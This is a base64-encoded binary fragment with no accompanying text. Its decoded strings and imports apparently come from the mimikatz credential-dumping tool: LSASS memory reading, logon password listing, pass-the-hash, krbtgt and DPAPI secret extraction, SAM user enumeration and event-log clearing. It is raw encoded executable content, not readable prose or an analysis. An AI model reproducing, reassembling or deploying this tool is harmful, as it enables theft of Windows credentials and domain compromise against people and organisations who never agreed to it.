AYQByAHkAQgBsAG8AYgBdACAAAABbAFUAcwBlAHIAbgBhAG0AZQBGAG8AcgBQAGEAYwBrAGUAZABdACAAPwAAAFsAPwBdACAAPwAgACUAdQAgAD8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AdAByAHkAbQBhAHIAcwBoAGEAbAAgADsAIABDAHIAZQBkAFUAbgBtAGEAcgBzAGgAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgAJACAAKgAgAFIAbwBvAHQASwBlAHkAIAAgADoAIAAAAAAACgAJACAAKgAgACUAMAA4AHgAIAA6ACAAAAAAAAoACQAgACAAIAAqACAATABTAEEAIABJAHMAbwBsAGEAdABlAGQAIABEAGEAdABhADoAIAAlAC4AKgBTAAAAAAAKAAkAIAAgACAAIAAgAEsAZABmAEMAbwBuAHQAZQB4AHQAOgAgAAAACgAJACAAIAAgACAAIABUAGEAZwAgACAAIAAgACAAIAAgADoAIAAAAAoACQAgACAAIAAgACAAQQB1AHQAaABEAGEAdABhACAAIAA6ACAAAAAKAAkAIAAgACAAIAAgAEUAbgBjAHIAeQBwAHQAZQBkACAAOgAgAAAACgAJACAAIAAgACoAIAB1AG4AawBEAGEAdABhADEAIAA6ACAAAAAAAAoACQAgACAAIAAgACAAdQBuAGsARABhAHQAYQAyACAAOgAgAAAAAAAKAAkAIAAgACAAIAAgAEUAbgBjAHIAeQBwAHQAZQBkADoAIAAAAAAAbQBzAHYAAABMAGkAcwB0AHMAIABMAE0AIAAmACAATgBUAEwATQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAHcAZABpAGcAZQBzAHQAAABMAGkAcwB0AHMAIABXAEQAaQBnAGUAcwB0ACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAATABpAHMAdABzACAASwBlAHIAYgBlAHIAbwBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAB0AHMAcABrAGcAAABMAGkAcwB0AHMAIABUAHMAUABrAGcAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABsAGkAdgBlAHMAcwBwAAAATABpAHMAdABzACAATABpAHYAZQBTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAGMAbABvAHUAZABhAHAAAABMAGkAcwB0AHMAIABDAGwAbwB1AGQAQQBwACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAcwBzAHAAAABMAGkAcwB0AHMAIABTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAGwAbwBnAG8AbgBQAGEAcwBzAHcAbwByAGQAcwAAAAAATABpAHMAdABzACAAYQBsAGwAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgACAAYwBvAG4AdABlAHgAdAAAAAAAbQBpAG4AaQBkAHUAbQBwAAAAAABTAHcAaQB0AGMAaAAgACgAbwByACAAcgBlAGkAbgBpAHQAKQAgAHQAbwAgAEwAUwBBAFMAUwAgAG0AaQBuAGkAZAB1AG0AcAAgAGMAbwBuAHQAZQB4AHQAAAAAAGIAbwBvAHQAawBlAHkAAAAAAAAAUwBlAHQAIAB0AGgAZQAgAFMAZQBjAHUAcgBlAEsAZQByAG4AZQBsACAAQgBvAG8AdAAgAEsAZQB5ACAAdABvACAAYQB0AHQAZQBtAHAAdAAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABMAFMAQQAgAEkAcwBvAGwAYQB0AGUAZAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAcAB0AGgAAABQAGEAcwBzAC0AdABoAGUALQBoAGEAcwBoAAAAawByAGIAdABnAHQAIQAAAGQAcABhAHAAaQBzAHkAcwB0AGUAbQAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNACAAcwBlAGMAcgBlAHQAAAB0AGkAYwBrAGUAdABzAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAHQAaQBjAGsAZQB0AHMAAABlAGsAZQB5AHMAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAEsAZQB5AHMAAABMAGkAcwB0ACAAQwBhAGMAaABlAGQAIABNAGEAcwB0AGUAcgBLAGUAeQBzAAAAAABjAHIAZQBkAG0AYQBuAAAATABpAHMAdAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAE0AYQBuAGEAZwBlAHIAAAAAAHMAZQBrAHUAcgBsAHMAYQAAAAAAUwBlAGsAdQByAEwAUwBBACAAbQBvAGQAdQBsAGUAAABTAHcAaQB0AGMAaAAgAHQAbwAgAFAAUgBPAEMARQBTAFMACgAAAAAAUwB3AGkAdABjAGgAIAB0AG8AIABNAEkATgBJAEQAVQBNAFAAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG0AaQBuAGkAZAB1AG0AcAAgADsAIAA8AG0AaQBuAGkAZAB1AG0AcABmAGkAbABlAC4AZABtAHAAPgAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAJwAlAHMAJwAKAAAATwBwAGUAbgBpAG4AZwAgADoAIAAnACUAcwAnACAAZgBpAGwAZQAgAGYAbwByACAAbQBpAG4AaQBkAHUAbQBwAC4ALgAuAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4AUAByAG8AYwBlAHMAcwBvAHIAQQByAGMAaABpAHQAZQBjAHQAdQByAGUAIAAoACUAdQApACAAIQA9ACAAUABSAE8AQwBFAFMAUwBPAFIAXwBBAFIAQwBIAEkAVABFAEMAVABVAFIARQBfAEkATgBUAEUATAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIAB3AGkAdABoAG8AdQB0ACAAUwB5AHMAdABlAG0ASQBuAGYAbwBTAHQAcgBlAGEAbQAgACgAPwApAAoAAAAAAAAAIAAgAD4AIABTAGUAYwB1AHIAZQBLAGUAcgBuAGUAbAAgAHMAdAByAGUAYQBtACAAZgBvAHUAbgBkACAAaQBuACAAbQBpAG4AaQBkAHUAbQBwACAAKAAlAHUAIABiAHkAdABlAHMAKQAKAAAAIAAgACAAIAAlAHUAIABjAGEAbgBkAGkAZABhAHQAZQAgAGsAZQB5AHMAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAG0AaQBtAGkAawBhAHQAegAgAHgAOAA2ACAAYwBhAG4AbgBvAHQAIABhAGMAYwBlAHMAcwAgAHgANgA0ACAAcAByAG8AYwBlAHMAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASwBlAHkAIABpAG0AcABvAHIAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGcAbwBuACAAbABpAHMAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBvAGQAdQBsAGUAcwAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGMAYQBsACAATABTAEEAIABsAGkAYgByAGEAcgB5ACAAZgBhAGkAbABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGUAbQBvAHIAeQAgAG8AcABlAG4AaQBuAGcACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEgAYQBuAGQAbABlACAAbwBuACAAbQBlAG0AbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAkAJQBzACAAOgAJAAAAAABVAG4AZABlAGYAaQBuAGUAZABMAG8AZwBvAG4AVAB5AHAAZQAAAAAAVQBuAGsAbgBvAHcAbgAgACEAAABJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABOAGUAdAB3AG8AcgBrAAAAQgBhAHQAYwBoAAAAUwBlAHIAdgBpAGMAZQAAAFAAcgBvAHgAeQAAAFUAbgBsAG8AYwBrAAAAAABOAGUAdAB3AG8AcgBrAEMAbABlAGEAcgB0AGUAeAB0AAAAAABOAGUAdwBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAFUAbgBsAG8AYwBrAAAAAAAKAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAgAEkAZAAgADoAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAUwBlAHMAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAGYAcgBvAG0AIAAlAHUACgBVAHMAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBEAG8AbQBhAGkAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBMAG8AZwBvAG4AIABTAGUAcgB2AGUAcgAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAAAATABvAGcAbwBuACAAVABpAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAABTAEkARAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAFAAcgBlAHYAaQBvAHUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGYAaQBuAGQAIABLAEQAQwAgAHAAYQB0AHQAZQByAG4AIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAcgBiAHQAZwB0ACAAOwAgAEsARABDACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAAoAJQBzACAAawByAGIAdABnAHQAOgAgAAAAAAAlAHUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMACgAAAAkAIAAqACAAJQBzACAAOgAgAAAARABQAEEAUABJAF8AUwBZAFMAVABFAE0ACgAAAGYAdQBsAGwAOgAgAAAAAAAKAG0ALwB1ACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAG8AcAB5ACAAKAByAGcAYgBTAHkAcwB0AGUAbQBDAHIAZQBkAFUAcwBlAHIAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAbwBwAHkAIAAoAHIAZwBiAFMAeQBzAHQAZQBtAEMAcgBlAGQATQBhAGMAaABpAG4AZQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAE4AbwB0ACAAaQBuAGkAdABpAGEAbABpAHoAZQBkACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAbwBwAHkAIAAoAGIAbwBvAGwAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABQAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQAIABpAG4AIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAABsAHUAaQBkAAAAAAAAAAAAdQBzAGUAcgAJADoAIAAlAHMACgBkAG8AbQBhAGkAbgAJADoAIAAlAHMACgBwAHIAbwBnAHIAYQBtAAkAOgAgACUAcwAKAGkAbQBwAGUAcgBzAC4ACQA6ACAAJQBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAZABvAG0AYQBpAG4ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAHUAcwBlAHIACgAAAAAAQQBFAFMAMQAyADgACQA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADEAMgA4ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADEAMgA4ACAAawBlAHkAIABvAG4AbAB5ACAAcwB1AHAAcABvAHIAdABlAGQAIABmAHIAbwBtACAAVwBpAG4AZABvAHcAcwAgADgALgAxACA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TZXJ2aWNlVwAgAUZyZWVTaWQAXABDb250cm9sU2VydmljZQAAvwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAANoARGVsZXRlU2VydmljZQAgAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA+QFPcGVuU0NNYW5hZ2VyVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAAIEAQ3JlYXRlU2VydmljZVcAAIABSXNUZXh0VW5pY29kZQBaAUdldFRva2VuSW5mb3JtYXRpb24AjwFMb29rdXBBY2NvdW50TmFtZVcAAJEBTG9va3VwQWNjb3VudFNpZFcA3wBEdXBsaWNhdGVUb2tlbkV4AABRAENoZWNrVG9rZW5NZW1iZXJzaGlwAAD3AU9wZW5Qcm9jZXNzVG9rZW4AAM4AQ3J5cHRTZXRQcm92UGFyYW0AvgBDcnlwdEVudW1Qcm92aWRlcnNXAHQAQ29udmVydFN0cmluZ1NpZFRvU2lkVwAAqwFMc2FGcmVlTWVtb3J5AIYBSXNWYWxpZFNpZAAAVwFHZXRTaWRTdWJBdXRob3JpdHkAAFgBR2V0U2lkU3ViQXV0aG9yaXR5Q291bnQAwQJTZXRUaHJlYWRUb2tlbgAA0wJTeXN0ZW1GdW5jdGlvbjAwNgC8AENyeXB0RW51bVByb3ZpZGVyVHlwZXNXAMcAQ3J5cHRHZXRVc2VyS2V5APYBT3BlbkV2ZW50TG9nVwBTAENsZWFyRXZlbnRMb2dXAABDAUdldE51bWJlck9mRXZlbnRMb2dSZWNvcmRzAADUAENyeXB0U2lnbkhhc2hXAADMAUxzYVJldHJpZXZlUHJpdmF0ZURhdGEAAL8BTHNhT3BlblNlY3JldADJAUxzYVF1ZXJ5VHJ1c3RlZERvbWFpbkluZm9CeU5hbWUAtQBDcnlwdERlcml2ZUtleQAAxgFMc2FRdWVyeVNlY3JldAAAzgJTeXN0ZW1GdW5jdGlvbjAwMQDSAlN5c3RlbUZ1bmN0aW9uMDA1ANIBTHNhU2V0U2VjcmV0AACqAUxzYUVudW1lcmF0ZVRydXN0ZWREb21haW5zRXgAAOQCU3lzdGVtRnVuY3Rpb24wMjMAlwFMb29rdXBQcml2aWxlZ2VWYWx1ZVcAyAJTdGFydFNlcnZpY2VDdHJsRGlzcGF0Y2hlclcAiAJSZWdpc3RlclNlcnZpY2VDdHJsSGFuZGxlclcAwAJTZXRTZXJ2aWNlU3RhdHVzAAD8AU9wZW5UaHJlYWRUb2tlbgCVAUxvb2t1cFByaXZpbGVnZU5hbWVXAAAHAUVxdWFsU2lkAACMAENyZWRGcmVlAACJAENyZWRFbnVtZXJhdGVXAAByAENvbnZlcnRTdHJpbmdTZWN1cml0eURlc2NyaXB0b3JUb1NlY3VyaXR5RGVzY3JpcHRvclcAAOgCU3lzdGVtRnVuY3Rpb24wMjcA5wJTeXN0ZW1GdW5jdGlvbjAyNgCjAENyZWRVbm1hcnNoYWxDcmVkZW50aWFsVwAAkQBDcmVkSXNNYXJzaGFsZWRDcmVkZW50aWFsVwAAQURWQVBJMzIuZGxsAABDYWJpbmV0LmRsbAAIAENlcnRBZGRFbmNvZGVkQ2VydGlmaWNhdGVUb1N0b3JlAABAAENlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0AADYAENyeXB0U3RyaW5nVG9CaW5hcnlBAAASAENlcnRDbG9zZVN0b3JlAAAWAVBGWEV4cG9ydENlcnRTdG9yZUV4AABqAENlcnRTZXRDZXJ0aWZpY2F0ZUNvbnRleHRQcm9wZXJ0eQBXAENlcnRPcGVuU3RvcmUA2QBDcnlwdFN0cmluZ1RvQmluYXJ5VwAA2wBDcnlwdFVucHJvdGVjdERhdGEAAH0AQ3J5cHRCaW5hcnlUb1N0cmluZ1cAAHwAQ3J5cHRCaW5hcnlUb1N0cmluZ0EAAHoAQ3J5cHRBY3F1aXJlQ2VydGlmaWNhdGVQcml2YXRlS2V5AI4AQ3J5cHRFeHBvcnRQdWJsaWNLZXlJbmZvAACTAENyeXB0RmluZE9JREluZm8AANIAQ3J5cHRTaWduQW5kRW5jb2RlQ2VydGlmaWNhdGUAVABDZXJ0TmFtZVRvU3RyVwAAhgBDcnlwdEVuY29kZU9iamVjdAA1AENlcnRGaW5kQ2VydGlmaWNhdGVJblN0b3JlAABGAENlcnRHZXRDZXJ0aWZpY2F0ZUNvbnRleHRQcm9wZXJ0eQC9AENyeXB0UHJvdGVjdERhdGEAAIMAQ3J5cHREZWNvZGVPYmplY3RFeAAvAENlcnRFbnVtU3lzdGVtU3RvcmUABABDZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZQAALABDZXJ0RW51bUNlcnRpZmljYXRlc0luU3RvcmUAvwBDcnlwdFF1ZXJ5T2JqZWN0AABLAENlcnRHZXROYW1lU3RyaW5nVwAA3ABDcnlwdFVucHJvdGVjdE1lbW9yeQAAQ1JZUFQzMi5kbGwABgBDRExvY2F0ZUNoZWNrU3VtAAAEAENER2VuZXJhdGVSYW5kb21CaXRzAAAMAE1ENUluaXQADQBNRDVVcGRhdGUACwBNRDVGaW5hbAAABQBDRExvY2F0ZUNTeXN0ZW0AY3J5cHRkbGwuZGxsAABXAERuc1F1ZXJ5X0EAACYARG5zRnJlZQBETlNBUEkuZGxsAAAIAEZpbHRlckZpbmROZXh0AAAHAEZpbHRlckZpbmRGaXJzdABGTFRMSUIuRExMAAAGAFdOZXRBZGRDb25uZWN0aW9uMlcADABXTmV0Q2FuY2VsQ29ubmVjdGlvbjJXAABNUFIuZGxsABAARHNHZXREY05hbWVXAABlAE5ldEFwaUJ1ZmZlckZyZWUAAA0BTmV0V2tzdGFVc2VyRW51bQAA7wBOZXRTaGFyZUVudW0AAPMATmV0U3RhdGlzdGljc0dldAAA5wBOZXRTZXNzaW9uRW51bQAAvABOZXRSZW1vdGVUT0QAANwATmV0U2VydmVyR2V0SW5mbwAADQBEc0VudW1lcmF0ZURvbWFpblRydXN0c1cAAE5FVEFQSTMyLmRsbAAAT0RCQzMyLmRsbAAAEABDb0NyZWF0ZUluc3RhbmNlAABsAENvVW5pbml0aWFsaXplAAA/AENvSW5pdGlhbGl6ZUV4AABjAENvU2V0UHJveHlCbGFua2V0AGgAQ29UYXNrTWVtRnJlZQBvbGUzMi5kbGwAT0xFQVVUMzIuZGxsAABjAVJwY0JpbmRpbmdJbnFBdXRoQ2xpZW50VwAAcQFScGNCaW5kaW5nU2V0T3B0aW9uAF8BUnBjQmluZGluZ0Zyb21TdHJpbmdCaW5kaW5nVwAA7gFScGNTdHJpbmdCaW5kaW5nQ29tcG9zZVcAAG4BUnBjQmluZGluZ1NldEF1dGhJbmZvRXhXAADyAVJwY1N0cmluZ0ZyZWVXAAB9AE1lc0hhbmRsZUZyZWUAjwFScGNJbXBlcnNvbmF0ZUNsaWVudAAAsAFScGNSZXZlcnRUb1NlbGYAfABNZXNFbmNvZGVJbmNyZW1lbnRhbEhhbmRsZUNyZWF0ZQAAeQBNZXNEZWNvZGVJbmNyZW1lbnRhbEhhbmRsZUNyZWF0ZQAAXQFScGNCaW5kaW5nRnJlZQAAfgBNZXNJbmNyZW1lbnRhbEhhbmRsZVJlc2V0APMATmRyTWVzVHlwZUVuY29kZTIA8QBOZHJNZXNUeXBlRGVjb2RlMgD0AE5kck1lc1R5cGVGcmVlMgDvAE5kck1lc1R5cGVBbGlnblNpemUyAAB1AVJwY0JpbmRpbmdWZWN0b3JGcmVlAADNAVJwY1NlcnZlclVzZVByb3RzZXFFcFcAAMMBUnBjU2VydmVyVW5yZWdpc3RlcklmRXgAcwFScGNCaW5kaW5nVG9TdHJpbmdCaW5kaW5nVwAABAJVdWlkVG9TdHJpbmdXAL4BUnBjU2VydmVyUmVnaXN0ZXJJZjIAAKMBUnBjTWdtdFdhaXRTZXJ2ZXJMaXN0ZW4AugFScGNTZXJ2ZXJMaXN0ZW4AvAFScGNTZXJ2ZXJSZWdpc3RlckF1dGhJbmZvVwAAgAFScGNFcFVucmVnaXN0ZXIAfgFScGNFcFJlZ2lzdGVyVwAAtAFScGNTZXJ2ZXJJbnFCaW5kaW5ncwAAogFScGNNZ210U3RvcFNlcnZlckxpc3RlbmluZwAAIABJX1JwY0JpbmRpbmdJbnFTZWN1cml0eUNvbnRleHQAAJUATmRyQ2xpZW50Q2FsbDIAABsBTmRyU2VydmVyQ2FsbDIAAPsBVXVpZENyZWF0ZQAAfwFScGNFcFJlc29sdmVCaW5kaW5nAHABUnBjQmluZGluZ1NldE9iamVjdABvAVJwY0JpbmRpbmdTZXRBdXRoSW5mb1cAAJEBUnBjTWdtdEVwRWx0SW5xQmVnaW4AAJIBUnBjTWdtdEVwRWx0SW5xRG9uZQCUAVJwY01nbXRFcEVsdElucU5leHRXAAA1AElfUnBjR2V0Q3VycmVudENhbGxIYW5kbGUAUlBDUlQ0LmRsbAAAOgBQYXRoQ29tYmluZVcAADgAUGF0aENhbm9uaWNhbGl6ZVcAZQBQYXRoSXNSZWxhdGl2ZVcAawFVcmxVbmVzY2FwZVcAAEkAUGF0aEZpbmRGaWxlTmFtZVcAWwBQYXRoSXNEaXJlY3RvcnlXAABTSExXQVBJLmRsbAATAFNhbUVudW1lcmF0ZVVzZXJzSW5Eb21haW4AHQBTYW1Mb29rdXBOYW1lc0luRG9tYWluAAAfAFNhbU9wZW5Eb21haW4AEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAACEAU2FtT3BlblVzZXIAOABTYW1pQ2hhbmdlUGFzc3dvcmRVc2VyAAAcAFNhbUxvb2t1cElkc0l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